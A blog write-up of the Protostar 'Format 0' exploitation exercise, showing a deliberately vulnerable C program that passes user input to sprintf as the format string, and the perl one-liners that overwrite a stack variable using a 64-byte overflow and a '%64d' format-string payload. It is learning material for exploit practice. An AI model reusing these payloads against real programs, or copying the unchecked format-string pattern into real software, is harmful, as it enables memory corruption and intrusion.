MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Format 0

| Comments

I’ll be honest, I’m new to format string exploits. I’ve been more experienced with stack overflows, and a little with heap overflows. So hopefully this information is correct, as it’s from my current understanding.

Protostar Format 0 starts us off with the following vulnerable code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
 volatile int target;
 char buffer[64];

 target = 0;

 sprintf(buffer, string);

 if(target == 0xdeadbeef) {
  printf("you have hit the target correctly :)\n");
 }
}

int main(int argc, char **argv)
{
 vuln(argv[1]);
}

Looking at this code, somehow we have to get the variable, “target”, which is never set anywhere other than to “0”, to equal “0xdeadbeef”. Luckily, the “target” variable is on the stack, right before the “buffer” variable. That means, if we can overflow “buffer”, it’ll leak out into “target”. I decided for my understanding, that I would modify the c source file a little, so I could see what was going on better. I added in 3 additional printf statements. (This is mainly because I wasn’t smart enough to get gdb to tell me where “buffer” and “target” were in memory.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
        volatile int target;
        char buffer[64];

        target = 0;

        sprintf(buffer, string);

        printf("Target: %08x\n", target);
        printf("Address of target: %08x\n", &target);
        printf("Address of buffer: %08x\n", &buffer);

        if(target == 0xdeadbeef) {
                printf("you have hit the target correctly :)\n");
        }
}

int main(int argc, char **argv)
{
        vuln(argv[1]);
}

Now, when I execute my custom compiled version, it gives me useful information:

1
2
3
4
user@protostar:~$ ./format0_1
Target: 00000000
Address of target: bffff7bc
Address of buffer: bffff77c

Just to verify that there was no spacing after “buffer” and before “target”, I took those 2 values, and did some math:

1
2
user@protostar:~$ perl -e 'print 0xbffff7bc-0xbffff77c . "\n"'
64

Initially, I thought this looked a lot like a stack overflow, especially since it did work as one:

1
2
user@protostar:/opt/protostar/bin$ ./format0 `perl -e 'print "A"x64 . "\xef\xbe\xad\xde"'`
you have hit the target correctly :)

This is cheating though, since this is to demonstrate format string exploitation, and the Format 0 page says specifically:

“This level should be done in less than 10 bytes of input.”

So grumbling that I was going to have to do extra work, I started reading about string format exploitation. A great document was titled “Exploiting Format String Vulnerabilities”, by scut / team teso.

It was in this document, that I found that you can actually tell the c compiler to read a certain number of bytes into a format. I had seen this done half a dozen times before, but never knew that’s what it was doing. For example:

1
printf("Target: %08x\n", target);

Normally for a hex formatting, you would simply use “%x” as the placeholder. Well, apparently if you use “%08x”, it will format it with 8 hex characters. This is so that when “target” is set to 0, it actually prints “0x00000000” instead of “0x0”. Very nice!

The same works for other types, such as decimal (“%d”). Since in the c program, it’s doing:

1
sprintf(buffer, string);

With this code, “string” is the first argument you pass to the program. Since sprintf won’t stop until it reads a null byte (as in a null terminated string), I just formatted it to read 64 bytes, and then concatenated “deadbeef” in little endian to it:

1
2
user@protostar:/opt/protostar/bin$ ./format0 `perl -e 'print "%64d" . "\xef\xbe\xad\xde"'`
you have hit the target correctly :)

You could also format it with the “%64d” not in the perl statement, but I don’t think it looks as readable.

1
user@protostar:/opt/protostar/bin$ ./format0 %64x`perl -e 'print "\xef\xbe\xad\xde"'`

So there you have it. That’s definitely under 10 bytes of input. I still have room for 2 more bytes if I need.

Comments